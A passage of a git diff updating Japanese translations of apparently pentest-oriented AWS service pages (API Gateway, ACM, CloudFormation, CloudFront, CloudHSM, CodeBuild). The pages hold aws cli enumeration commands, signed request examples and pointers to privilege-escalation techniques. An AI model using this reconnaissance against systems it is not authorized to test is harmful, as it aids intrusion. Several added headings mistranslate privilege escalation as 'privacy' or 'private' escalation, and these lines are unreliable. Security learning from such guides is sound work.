APIを構築します。以下と連携します:Lambda、HTTP、AWSサービス。 -- **REST API**: リクエストとレスポンスを完全に制御できるREST APIを開発し、API管理機能を提供します。以下と連携します:Lambda、HTTP、AWSサービス。 +- **REST API**: リクエストとレスポンスを完全に制御できるREST APIを開発し、API管理機能を持ちます。以下と連携します:Lambda、HTTP、AWSサービス。 - **REST API Private**: VPC内からのみアクセス可能なREST APIを作成します。 ### API Gatewayの主なコンポーネント -1. **リソース**: API Gatewayにおけるリソースは、**APIの構造を構成する要素**です。これらは**APIの異なるパスやエンドポイント**を表し、APIがサポートするさまざまなアクションに対応します。リソースは各メソッド(例:GET、POST、PUT、DELETE)**の各パス内**(/、または/users、または/user/{id})です。 -2. **ステージ**: API Gatewayのステージは、開発、ステージング、または本番など、APIの**異なるバージョンや環境**を表します。ステージを使用して、**APIの複数のバージョンを同時に管理および展開**でき、新機能やバグ修正を本番環境に影響を与えずにテストできます。ステージはまた、**ステージ変数**をサポートしており、現在のステージに基づいてAPIの動作を構成するために使用できるキーと値のペアです。たとえば、ステージ変数を使用して、ステージに応じてAPIリクエストを異なるLambda関数や他のバックエンドサービスに向けることができます。 +1. **リソース**: API Gatewayにおけるリソースは、**APIの構造を構成するコンポーネント**です。これらは**APIの異なるパスやエンドポイント**を表し、APIがサポートするさまざまなアクションに対応します。リソースは、各パス(/, または /users、または /user/{id})内の各メソッド(例:GET、POST、PUT、DELETE)です。 +2. **ステージ**: API Gatewayのステージは、開発、ステージング、または本番など、APIの**異なるバージョンや環境**を表します。ステージを使用して、**APIの複数のバージョンを同時に管理および展開**でき、新機能やバグ修正を本番環境に影響を与えずにテストできます。ステージはまた、現在のステージに基づいてAPIの動作を構成するために使用できるキーと値のペアである**ステージ変数**を**サポート**します。たとえば、ステージ変数を使用して、ステージに応じてAPIリクエストを異なるLambda関数や他のバックエンドサービスに向けることができます。 - ステージはAPI GatewayエンドポイントのURLの最初に示されます。 -3. **オーソライザー**: API Gatewayのオーソライザーは、リクエストが進行する前に呼び出し元のアイデンティティを確認することによって、**APIへのアクセスを制御する**役割を担います。**AWS Lambda関数**をカスタムオーソライザーとして使用でき、独自の認証および認可ロジックを実装できます。リクエストが来ると、API Gatewayはリクエストの認証トークンをLambdaオーソライザーに渡し、トークンを処理して呼び出し元が実行できるアクションを決定するIAMポリシーを返します。API Gatewayは、**AWS Identity and Access Management (IAM)**や**Amazon Cognito**などの**組み込みオーソライザー**もサポートしています。 -4. **リソースポリシー**: API Gatewayのリソースポリシーは、**APIへのアクセス権限を定義する**JSONドキュメントです。これはIAMポリシーに似ていますが、API Gateway専用に調整されています。リソースポリシーを使用して、誰がAPIにアクセスできるか、どのメソッドを呼び出せるか、どのIPアドレスやVPCから接続できるかを制御できます。**リソースポリシーはオーソライザーと組み合わせて使用することができ、APIに対する細かいアクセス制御を提供します。** -- リソースポリシーが変更された後、APIは**再展開する必要があります**。 +3. **オーソライザー**: API Gatewayのオーソライザーは、リクエストが進行する前に呼び出し元のアイデンティティを確認することによって、**APIへのアクセスを制御**する役割を担います。**AWS Lambda関数**をカスタムオーソライザーとして使用でき、独自の認証および認可ロジックを実装できます。リクエストが到着すると、API Gatewayはリクエストの認証トークンをLambdaオーソライザーに渡し、トークンを処理して呼び出し元が実行できるアクションを決定するIAMポリシーを返します。API Gatewayは、**AWS Identity and Access Management (IAM)**や**Amazon Cognito**などの**組み込みオーソライザー**もサポートしています。 +4. **リソースポリシー**: API Gatewayのリソースポリシーは、**APIへのアクセス権限を定義するJSONドキュメント**です。これはIAMポリシーに似ていますが、API Gateway専用に調整されています。リソースポリシーを使用して、誰がAPIにアクセスできるか、どのメソッドを呼び出せるか、どのIPアドレスやVPCから接続できるかを制御できます。**リソースポリシーはオーソライザーと組み合わせて使用することができ、APIに対する詳細なアクセス制御を提供します。** +- リソースポリシーが変更された後、APIを**再デプロイする必要があります**。 ### ロギング @@ -33,7 +33,7 @@ API Gatewayは、**APIへのリクエストがどのように処理されるべ ### 列挙 > [!TIP] -> リソースを列挙するための両方のAWS API(**`apigateway`**および**`apigatewayv2`**)では、必要な唯一の権限であり、付与可能な唯一の読み取り権限は**`apigateway:GET`**です。これにより、**すべてを列挙できます。** +> AWS APIを使用してリソースを列挙するには(**`apigateway`**および**`apigatewayv2`**)、必要な権限は**`apigateway:GET`**のみであり、それを使用することで**すべてを列挙できます。** {{#tabs }} {{#tab name="apigateway" }} @@ -145,17 +145,17 @@ https://.execute-api..amazonaws.com// ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` -別の方法は、**Postman**内で**`Authorization`**タイプ**`AWS Signature`**を使用することです。 +別の方法は、**Postman**内で**`Authorization`**タイプの**`AWS Signature`**を使用することです。
使用したいアカウントのaccessKeyとSecretKeyを設定すると、APIエンドポイントに対して認証できます。 -どちらの方法も、次のような**Authorization** **header**を生成します: +どちらの方法も、次のような**Authorization** **header**を生成します: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` -他の場合では、**Authorizer**が**不適切にコーディング**されている可能性があり、**Authorizationヘッダー**内に**何でも**送信することで**隠されたコンテンツを見ることができる**かもしれません。 +他のケースでは、**Authorizer**が**不適切にコーディング**されている可能性があり、**Authorization header**内に**何でも**送信することで**隠されたコンテンツを見ることができる**ことに注意してください。 ### Pythonを使用したリクエスト署名 ```python @@ -186,7 +186,7 @@ print(response.text) ``` ### カスタム Lambda 認証者 -与えられたトークンに基づいて、**IAM ポリシーを返す** Lambda を使用することが可能であり、ユーザーが **API エンドポイントを呼び出す権限があるかどうかを示します**。\ +特定のトークンに基づいて、**IAM ポリシー**を**返す** Lambda を使用することが可能であり、これによりユーザーが**API エンドポイントを呼び出す権限があるかどうか**を示します。\ 認証者を使用する各リソースメソッドを設定できます。
@@ -236,7 +236,7 @@ return policy ```
-呼び出すには、次のようにします: +次のように呼び出します:
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 
@@ -250,11 +250,11 @@ return policy ### 必要なAPIキー -**有効なAPIキー**が必要なAPIエンドポイントを設定することができます。 +**有効なAPIキー**が必要なAPIエンドポイントを設定することが可能です。
-API GatewayポータルでAPIキーを生成し、使用量(リクエスト毎秒およびリクエスト毎月の観点から)を設定することも可能です。 +API GatewayポータルでAPIキーを生成し、使用量(リクエスト毎秒および月間リクエスト数)を設定することも可能です。 APIキーを機能させるには、**使用プラン**に追加する必要があります。この使用プランは**APIステージ**に追加され、関連するAPIステージにはAPIキーを必要とする**エンドポイント**に対して**メソッドスロットリング**が設定されている必要があります: @@ -266,7 +266,7 @@ APIキーを機能させるには、**使用プラン**に追加する必要が ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md {{#endref}} -## 権限昇格 +## プライバシー昇格 {{#ref}} ../aws-privilege-escalation/aws-apigateway-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0e0b742cd..4ffde7ec2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -4,9 +4,9 @@ ## 基本情報 -**AWS Certificate Manager (ACM)** は、AWSサービスおよび内部リソースのための **SSL/TLS証明書のプロビジョニング、管理、展開を効率化することを目的としたサービス** として提供されています。購入、アップロード、証明書の更新などの手動プロセスの必要性は、**ACMによって排除されます**。これにより、ユーザーは **Elastic Load Balancers、Amazon CloudFrontディストリビューション、API Gateway上のAPI** など、さまざまなAWSリソースに対して効率的に証明書をリクエストし、実装することができます。 +**AWS Certificate Manager (ACM)** は、AWSサービスおよび内部リソースのための **SSL/TLS証明書のプロビジョニング、管理、展開を簡素化することを目的としたサービス** として提供されています。購入、アップロード、証明書の更新などの手動プロセスの必要性は、ACMによって **排除されます**。これにより、ユーザーは **Elastic Load Balancers、Amazon CloudFrontディストリビューション、API Gateway上のAPI** など、さまざまなAWSリソースで証明書を効率的にリクエストし、実装できます。 -ACMの重要な機能は、**証明書の自動更新** であり、管理の負担を大幅に軽減します。さらに、ACMは **内部使用のためのプライベート証明書の作成と集中管理** をサポートしています。Elastic Load Balancing、Amazon CloudFront、Amazon API Gatewayなどの統合AWSサービス用のSSL/TLS証明書は、ACMを通じて追加費用なしで提供されますが、ユーザーはアプリケーションで使用されるAWSリソースに関連するコストと、統合ACMサービスの外で使用される各 **プライベート証明書機関(CA)** およびプライベート証明書に対する月額料金を負担する必要があります。 +ACMの重要な機能は **証明書の自動更新** であり、管理の負担を大幅に軽減します。さらに、ACMは **内部使用のためのプライベート証明書の作成と集中管理** をサポートしています。Elastic Load Balancing、Amazon CloudFront、Amazon API Gatewayなどの統合AWSサービス用のSSL/TLS証明書は、ACMを通じて追加費用なしで提供されますが、ユーザーはアプリケーションで使用されるAWSリソースに関連するコストと、統合ACMサービスの外で使用される各 **プライベート証明書機関(CA)** およびプライベート証明書に対する月額料金を負担する必要があります。 **AWS Private Certificate Authority** は、**管理されたプライベートCAサービス** として提供され、ACMの機能を強化し、プライベート証明書を含む証明書管理を拡張します。これらのプライベート証明書は、組織内のリソースの認証に重要です。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 1f4c23861..5cd9e3cab 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormationは、**AWSリソースの管理を効率化するために設計されたサービス**です。これにより、ユーザーは**リソース管理に費やす時間を最小限に抑えることで、AWS上で実行されているアプリケーションにより集中できる**ようになります。このサービスのコア機能は、**テンプレート**—望ましいAWSリソースの記述モデルです。このテンプレートが提供されると、CloudFormationは指定されたリソースの**プロビジョニングと構成**を担当します。この自動化により、AWSインフラストラクチャのより効率的でエラーのない管理が促進されます。 +AWS CloudFormationは、**AWSリソースの管理を効率化するために設計されたサービス**です。これにより、ユーザーは**リソース管理にかかる時間を最小限に抑えることで、AWS上で実行されるアプリケーションにより集中できる**ようになります。このサービスのコア機能は**テンプレート**であり、これは希望するAWSリソースの記述モデルです。このテンプレートが提供されると、CloudFormationは指定されたリソースの**プロビジョニングと構成**を担当します。この自動化により、AWSインフラストラクチャのより効率的でエラーのない管理が促進されます。 ### Enumeration ```bash @@ -43,7 +43,7 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ## Codestar -AWS CodeStarは、AWS上でソフトウェア開発プロジェクトを作成、管理、作業するためのサービスです。AWS CodeStarプロジェクトを使用して、AWS上でアプリケーションを迅速に開発、構築、デプロイできます。AWS CodeStarプロジェクトは、プロジェクト開発ツールチェーンのために**AWSサービスを作成および統合**します。AWS CodeStarプロジェクトテンプレートの選択に応じて、そのツールチェーンにはソース管理、ビルド、デプロイ、仮想サーバーまたはサーバーレスリソースなどが含まれる場合があります。AWS CodeStarは、プロジェクトユーザー(チームメンバーと呼ばれる)に必要な権限も**管理**します。 +AWS CodeStarは、AWS上でソフトウェア開発プロジェクトを作成、管理、作業するためのサービスです。AWS CodeStarプロジェクトを使用して、AWS上でアプリケーションを迅速に開発、構築、デプロイできます。AWS CodeStarプロジェクトは、プロジェクト開発ツールチェーンのために**AWSサービスを作成および統合**します。AWS CodeStarプロジェクトテンプレートの選択に応じて、そのツールチェーンにはソース管理、ビルド、デプロイ、仮想サーバーまたはサーバーレスリソースなどが含まれる場合があります。AWS CodeStarはまた、プロジェクトユーザー(チームメンバーと呼ばれる)に必要な権限を**管理**します。 ### Enumeration ```bash @@ -56,7 +56,7 @@ aws codestar list-team-members --project-id aws codestar list-user-profiles aws codestar describe-user-profile --user-arn ``` -### Privesc +### プライベートエスカレーション 次のページでは、**codestarの権限を悪用して特権を昇格させる方法**を確認できます: @@ -64,7 +64,7 @@ aws codestar describe-user-profile --user-arn ../aws-privilege-escalation/aws-codestar-privesc/ {{#endref}} -## References +## 参考文献 - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 0b443f1ab..e53ca442c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,17 +4,17 @@ ## CloudFront -CloudFrontはAWSの**コンテンツ配信ネットワークで、静的および動的コンテンツの配信を加速します**。Amazon CloudFrontを通じてホスティングしているリクエストコンテンツを使用すると、リクエストは最も近いエッジロケーションにルーティングされ、最低のレイテンシで最高のパフォーマンスを提供します。**CloudFrontアクセスログ**が有効になっていると、ウェブサイトや配信にアクセスをリクエストする各ユーザーからのリクエストを記録できます。S3アクセスログと同様に、これらのログも**耐久性と永続的なストレージのためにAmazon S3に保存されます**。ログ自体を有効にすることに対して料金は発生しませんが、ログがS3に保存されるため、S3によって使用されるストレージに対して料金が発生します。 +CloudFrontはAWSの**コンテンツ配信ネットワークで、静的および動的コンテンツの配信を加速**します。Amazon CloudFrontを通じてホスティングしているリクエストコンテンツを使用すると、リクエストは最も近いエッジロケーションにルーティングされ、最も低いレイテンシで最高のパフォーマンスを提供します。**CloudFrontアクセスログ**が有効になっていると、ウェブサイトや配信にアクセスをリクエストする各ユーザーからのリクエストを記録できます。S3アクセスログと同様に、これらのログも**耐久性と永続的なストレージのためにAmazon S3に保存されます**。ログ自体を有効にすることに対して料金は発生しませんが、ログがS3に保存されるため、S3によって使用されるストレージに対して料金が発生します。 -ログファイルは一定期間のデータをキャプチャし、その配信に対してAmazon CloudFrontが受け取るリクエストの量に応じて生成されるログファイルの数が決まります。これらのログファイルはS3上で作成または書き込まれないことを知っておくことが重要です。S3は、ログファイルが満杯になったときに配信される場所に過ぎません。**Amazon CloudFrontは、これらのログをS3に配信する準備ができるまで保持します**。再度、これらのログファイルのサイズに応じて、この配信には**1時間から24時間**かかることがあります。 +ログファイルは一定期間のデータをキャプチャし、Amazon CloudFrontがその配信に対して受信するリクエストの量に応じて生成されるログファイルの数が決まります。これらのログファイルはS3上で作成または書き込まれないことを知っておくことが重要です。S3は、ログファイルが満杯になったときにそれらが配信される場所です。**Amazon CloudFrontは、これらのログをS3に配信する準備ができるまで保持します**。再度、これらのログファイルのサイズに応じて、この配信には**1時間から24時間**かかることがあります。 -**デフォルトではクッキーロギングは無効になっていますが**、有効にすることができます。 +**デフォルトではクッキーロギングは無効になっていますが、これを有効にすることができます。** ### Functions CloudFrontで関数を作成できます。これらの関数は**cloudfront**にエンドポイントが定義され、宣言された**NodeJSコード**を実行します。このコードは、AWS管理マシン上で実行される**サンドボックス**内で実行されます(基盤となるOSに逃げるためにはサンドボックスバイパスが必要です)。 -関数はユーザーのAWSアカウントで実行されないため、IAMロールは添付されず、この機能を悪用して直接的な権限昇格は不可能です。 +関数はユーザーのAWSアカウントで実行されないため、IAMロールは添付されておらず、この機能を悪用して直接的な権限昇格は不可能です。 ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index ac0d09e9e..898be6ed6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -10,33 +10,33 @@ CloudHSMの特異な特徴は、物理デバイスであり、したがって** 通常、デバイスは容量がある場合、15分以内に利用可能ですが、一部のゾーンではそうでない場合があります。 -これはあなた専用の物理デバイスであるため、**鍵はデバイス上に保存されます**。鍵は**別のデバイスに複製する**か、オフラインストレージにバックアップするか、スタンバイアプライアンスにエクスポートする必要があります。**このデバイスはS3やKMSなどのAWSの他のサービスによってバックアップされていません**。 +これはあなた専用の物理デバイスであるため、**鍵はデバイスに保存されます**。鍵は**別のデバイスに複製する**か、オフラインストレージにバックアップするか、スタンバイアプライアンスにエクスポートする必要があります。**このデバイスはS3やKMSなどのAWSの他のサービスによってバックアップされません**。 **CloudHSM**では、**サービスを自分でスケールする必要があります**。選択した暗号化アルゴリズムに基づいて、暗号化ニーズを処理するために十分なCloudHSMデバイスをプロビジョニングする必要があります。\ -キー管理サービスのスケーリングはAWSによって行われ、自動的に需要に応じてスケールしますので、使用が増えるにつれて、必要なCloudHSMアプライアンスの数も増える可能性があります。ソリューションをスケールする際にはこれを考慮し、ソリューションにオートスケーリングがある場合は、最大スケールが十分なCloudHSMアプライアンスでサービスされるようにしてください。 +KMSのスケーリングはAWSによって行われ、自動的に需要に応じてスケールしますので、使用が増えると必要なCloudHSMアプライアンスの数も増える可能性があります。ソリューションをスケールする際にはこれを考慮し、ソリューションにオートスケーリングがある場合は、最大スケールがサービスするために十分なCloudHSMアプライアンスで考慮されていることを確認してください。 -スケーリングと同様に、**CloudHSMのパフォーマンスはあなた次第です**。パフォーマンスは使用する暗号化アルゴリズムや、データを暗号化するために鍵にアクセスまたは取得する頻度によって異なります。キー管理サービスのパフォーマンスはAmazonによって処理され、需要に応じて自動的にスケールします。CloudHSMのパフォーマンスは、より多くのアプライアンスを追加することで達成され、より高いパフォーマンスが必要な場合は、デバイスを追加するか、より高速なアルゴリズムに暗号化方法を変更します。 +スケーリングと同様に、**CloudHSMのパフォーマンスはあなた次第です**。パフォーマンスは使用する暗号化アルゴリズムや、データを暗号化するために鍵にアクセスまたは取得する頻度によって異なります。鍵管理サービスのパフォーマンスはAmazonによって処理され、需要に応じて自動的にスケールします。CloudHSMのパフォーマンスは、より多くのアプライアンスを追加することで達成され、より高いパフォーマンスが必要な場合は、デバイスを追加するか、より高速なアルゴリズムに暗号化方法を変更します。 -あなたのソリューションが**マルチリージョン**の場合、第二のリージョンにいくつかの**CloudHSMアプライアンスを追加し、プライベートVPN接続を使用してクロスリージョン接続を確立する**必要があります。これにより、接続のすべてのレイヤーでトラフィックが常に保護されることが保証されます。マルチリージョンソリューションがある場合、**鍵を複製し、運用しているリージョンに追加のCloudHSMデバイスを設定する方法を考える必要があります**。非常に迅速に、複数のリージョンに分散した6台または8台のデバイスを持つシナリオに入ることができ、暗号化鍵の完全な冗長性を実現します。 +あなたのソリューションが**マルチリージョン**の場合、第二のリージョンにいくつかの**CloudHSMアプライアンスを追加し、プライベートVPN接続を使用してリージョン間の接続性を確保する**必要があります。マルチリージョンソリューションがある場合、**鍵を複製し、運用しているリージョンに追加のCloudHSMデバイスを設定する方法を考える必要があります**。非常に迅速に、複数のリージョンに分散した6台または8台のデバイスを持つシナリオに入る可能性があり、暗号化鍵の完全な冗長性を実現します。 -**CloudHSM**は、セキュアな鍵ストレージのためのエンタープライズクラスのサービスであり、**エンタープライズの信頼の根源として使用できます**。PKI内のプライベートキーやX509実装の証明書機関キーを保存できます。対称アルゴリズム(AESなど)で使用される対称鍵に加えて、**KMSは対称鍵のみを保存し物理的に保護します(証明書機関として機能できません)**。したがって、PKIおよびCAキーを保存する必要がある場合、CloudHSMを1台または2台、または3台使用することが解決策となる可能性があります。 +**CloudHSM**は、セキュアな鍵ストレージのためのエンタープライズクラスのサービスであり、**エンタープライズの信頼の根源として使用できます**。PKIおよびX509実装の証明書機関鍵を保存できます。対称アルゴリズム(AESなど)で使用される対称鍵に加えて、**KMSは対称鍵のみを保存し物理的に保護します(証明書機関として機能できません)**。したがって、PKIおよびCA鍵を保存する必要がある場合、CloudHSMを1台または2台、または3台使用することが解決策となる可能性があります。 -**CloudHSMはキー管理サービスよりもかなり高価です**。CloudHSMはハードウェアアプライアンスであるため、CloudHSMデバイスをプロビジョニングするための固定コストがあり、その後、アプライアンスを運用するための時間単位のコストがあります。コストは、特定の要件を満たすために必要なCloudHSMアプライアンスの数によって掛け算されます。\ -さらに、SafeNet ProtectVソフトウェアスイートなどのサードパーティソフトウェアの購入においても考慮が必要です。キー管理サービスは使用ベースであり、持っている鍵の数や入出力操作に依存します。キー管理は多くのAWSサービスとのシームレスな統合を提供するため、統合コストは大幅に低くなるはずです。コストは暗号化ソリューションにおける二次的な要因と見なされるべきです。暗号化は通常、セキュリティとコンプライアンスのために使用されます。 +**CloudHSMはKMSよりもかなり高価です**。CloudHSMはハードウェアアプライアンスであるため、CloudHSMデバイスをプロビジョニングするための固定コストがあり、その後、アプライアンスを運用するための時間単位のコストがあります。コストは、特定の要件を満たすために必要なCloudHSMアプライアンスの数によって掛け算されます。\ +さらに、SafeNet ProtectVソフトウェアスイートなどのサードパーティソフトウェアの購入においても考慮が必要で、統合にかかる時間と労力も考慮する必要があります。鍵管理サービスは使用ベースであり、持っている鍵の数や入出力操作に依存します。鍵管理は多くのAWSサービスとのシームレスな統合を提供するため、統合コストは大幅に低くなるはずです。コストは暗号化ソリューションにおける二次的な要因と考慮されるべきです。暗号化は通常、セキュリティとコンプライアンスのために使用されます。 -**CloudHSMでは、あなたのみが鍵にアクセスできます**。詳細に入ることなく、CloudHSMでは自分の鍵を管理します。**KMSでは、あなたとAmazonが鍵を共同管理します**。AWSには悪用に対する多くのポリシー保護があり、**どちらのソリューションでもあなたの鍵にアクセスすることはできません**。主な違いは、鍵の所有権と管理に関するコンプライアンスであり、CloudHSMでは、これはあなたが管理し、維持するハードウェアアプライアンスであり、あなたにのみ独占的にアクセスできます。 +**CloudHSMでは、あなたのみが鍵にアクセスできます**。詳細に入ることなく、CloudHSMでは自分の鍵を管理します。**KMSでは、あなたとAmazonが鍵を共同管理します**。AWSには悪用に対する多くのポリシー保護があり、**どちらのソリューションでもあなたの鍵にアクセスすることはできません**。主な違いは、鍵の所有権と管理に関するコンプライアンスであり、CloudHSMでは、これはあなたが管理し、維持し、あなたにのみ独占的にアクセスできるハードウェアアプライアンスです。 ### CloudHSMの提案 -1. 常に**HAセットアップ**でCloudHSMを展開し、**別々のアベイラビリティゾーン**に少なくとも2台のアプライアンスを配置し、可能であれば、オンプレミスまたはAWSの別のリージョンに3台目を展開してください。 +1. 常に**HAセットアップ**でCloudHSMを展開し、**別のアベイラビリティゾーンに少なくとも2台のアプライアンス**を配置し、可能であれば、AWSの別のリージョンまたはオンプレミスに3台目を展開してください。 2. **CloudHSM**を**初期化**する際は注意してください。このアクションは**鍵を破壊します**ので、鍵の別のコピーを持っているか、絶対に必要ないことを確認してください。 3. CloudHSMは**特定のファームウェア**およびソフトウェアのバージョンのみを**サポート**しています。更新を行う前に、ファームウェアまたはソフトウェアがAWSによってサポートされていることを確認してください。アップグレードガイドが不明瞭な場合は、AWSサポートに連絡して確認できます。 -4. **ネットワーク構成は変更してはいけません。** AWSデータセンター内にあり、AWSが基本ハードウェアを監視しています。これは、ハードウェアが故障した場合、彼らがあなたのために交換することを意味しますが、故障したことを知っている場合のみです。 -5. **SysLogフォワードは削除または変更してはいけません**。常に**SysLogフォワーダーを追加**して、ログを自分の収集ツールに向けることができます。 -6. **SNMP**構成は、ネットワークおよびSysLogフォルダーと同じ基本的な制限があります。これは**変更または削除してはいけません**。**追加の**SNMP構成は問題ありませんが、アプライアンスに既にあるものを変更しないようにしてください。 +4. **ネットワーク構成は変更しないでください。** AWSのデータセンターにあり、AWSが基本ハードウェアを監視しています。これは、ハードウェアが故障した場合、彼らがあなたのために交換することを意味しますが、故障を知っている場合のみです。 +5. **SysLogフォワードは削除または変更しないでください**。常に**SysLogフォワーダーを追加**して、ログを自分の収集ツールに向けることができます。 +6. **SNMP**構成は、ネットワークおよびSysLogフォルダと同じ基本的な制限があります。これは**変更または削除しないでください**。**追加の**SNMP構成は問題ありませんが、アプライアンスに既にあるものを変更しないようにしてください。 7. AWSからのもう一つの興味深いベストプラクティスは、**NTP構成を変更しないこと**です。変更した場合に何が起こるかは明確ではないため、ソリューションの残りの部分で同じNTP構成を使用しない場合、2つの時間ソースが存在する可能性があることを考慮してください。このことを認識し、CloudHSMが既存のNTPソースに留まる必要があることを理解してください。 -CloudHSMの初期導入料金は、あなたの使用のために専用のハードウェアアプライアンスを割り当てるために$5,000で、その後、CloudHSMを運用するための時間単位の料金が現在$1.88で、月額約$1,373です。 +CloudHSMの初期起動料金は、あなたの使用のために専用のハードウェアアプライアンスを割り当てるために$5,000で、その後、CloudHSMを運用するための時間単位の料金が現在$1.88で、月額約$1,373です。 CloudHSMを使用する最も一般的な理由は、規制上の理由で満たす必要があるコンプライアンス基準です。**KMSは非対称鍵のデータサポートを提供していません。CloudHSMは非対称鍵を安全に保存することができます**。 @@ -46,7 +46,7 @@ CloudHSMを使用する最も一般的な理由は、規制上の理由で満た ハードウェアセキュリティモジュール(HSM)は、暗号鍵を生成、保存、管理し、機密データを保護するために使用される専用の暗号デバイスです。これは、暗号機能をシステムの他の部分から物理的および電子的に隔離することによって、高いレベルのセキュリティを提供するように設計されています。 -HSMの動作方法は、特定のモデルや製造元によって異なる場合がありますが、一般的には以下のステップが行われます。 +HSMの動作は、特定のモデルや製造元によって異なる場合がありますが、一般的には以下のステップが行われます。 1. **鍵生成**: HSMは、安全な乱数生成器を使用してランダムな暗号鍵を生成します。 2. **鍵保存**: 鍵は**HSM内に安全に保存され、認可されたユーザーまたはプロセスのみがアクセスできます**。 @@ -54,9 +54,9 @@ HSMの動作方法は、特定のモデルや製造元によって異なる場 4. **暗号操作**: HSMは、暗号化、復号化、デジタル署名、鍵交換など、さまざまな暗号操作を実行します。これらの操作は、**HSMの安全な環境内で実行され、無許可のアクセスや改ざんから保護されます**。 5. **監査ログ**: HSMは、すべての暗号操作とアクセス試行をログに記録し、コンプライアンスおよびセキュリティ監査の目的で使用できます。 -HSMは、安全なオンライン取引、デジタル証明書、安全な通信、データ暗号化など、幅広いアプリケーションに使用できます。金融、医療、政府など、高いレベルのセキュリティが要求される業界でよく使用されます。 +HSMは、安全なオンライン取引、デジタル証明書、安全な通信、データ暗号化など、幅広いアプリケーションに使用できます。金融、医療、政府など、高いレベルのセキュリティが求められる業界でよく使用されます。 -全体として、HSMが提供する高いレベルのセキュリティにより、**生の鍵を抽出することは非常に困難であり、試みることはしばしばセキュリティの侵害と見なされます**。ただし、**特定のシナリオ**では、特定の目的のために**認可された担当者によって生の鍵が抽出される可能性があります**。例えば、鍵回復手続きの場合などです。 +全体として、HSMが提供する高いレベルのセキュリティにより、**生の鍵を抽出することは非常に困難であり、試みることはしばしばセキュリティの侵害と見なされます**。ただし、**特定のシナリオ**では、**生の鍵が特定の目的のために認可された担当者によって抽出される可能性があります**。 ### 列挙 ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 7c5f0fdf8..a8c363e3d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -10,23 +10,23 @@ AWS **CodeBuild** は **完全に管理された継続的インテグレーシ 2. **継続的インテグレーション**: 開発およびデプロイメントのワークフローと統合し、ソフトウェアリリースプロセスのビルドおよびテストフェーズを自動化します。 3. **パッケージ生成**: ビルドおよびテストフェーズの後、ソフトウェアパッケージを準備し、デプロイメントの準備を整えます。 -AWS CodeBuild は他の AWS サービスとシームレスに統合され、CI/CD(継続的インテグレーション/継続的デプロイメント)パイプラインの効率と信頼性を向上させます。 +AWS CodeBuild は他の AWS サービスとシームレスに統合され、CI/CD (継続的インテグレーション/継続的デプロイメント) パイプラインの効率と信頼性を向上させます。 ### **Github/Gitlab/Bitbucket 認証情報** #### **デフォルトのソース認証情報** -これは、いくつかの **アクセス**(Github トークンやアプリなど)を構成できるレガシーオプションであり、すべてのプロジェクトがこの構成された認証情報のセットを使用できるように **共有されます**。 +これは、いくつかの **アクセス** (Github トークンやアプリなど) を構成できるレガシーオプションであり、これによりすべてのコードビルドプロジェクトがこの構成された認証情報セットを使用できるようになります。 -保存された認証情報(トークン、パスワード...)は **codebuild によって管理され**、AWS API からそれらを取得する公的な方法はありません。 +保存された認証情報 (トークン、パスワード...) は **codebuild によって管理され**、AWS API からそれらを取得する公的な方法はありません。 #### カスタムソース認証情報 -リポジトリプラットフォーム(Github、Gitlab、Bitbucket)に応じて、異なるオプションが提供されます。しかし一般的に、**トークンやパスワードを保存する必要があるオプションは、シークレットマネージャーにシークレットとして保存されます**。 +リポジトリプラットフォーム (Github、Gitlab、Bitbucket) に応じて、異なるオプションが提供されます。しかし一般的に、**トークンやパスワードを保存する必要があるオプションは、シークレットマネージャーにシークレットとして保存されます**。 -これにより、**異なる codebuild プロジェクトが異なる構成されたアクセスをプロバイダーに使用できる**ようになり、単に構成されたデフォルトのものを使用するのではなくなります。 +これにより、**異なるコードビルドプロジェクトが異なる構成されたアクセスをプロバイダーに使用できる**ようになり、単に構成されたデフォルトのものを使用するだけではなくなります。 -### Enumeration +### 列挙 ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -47,7 +47,7 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` -### Privesc +### プライベート昇格 次のページでは、**codebuildの権限を悪用して特権を昇格させる方法**を確認できます: @@ -55,19 +55,19 @@ aws codebuild describe-test-cases --report-arn 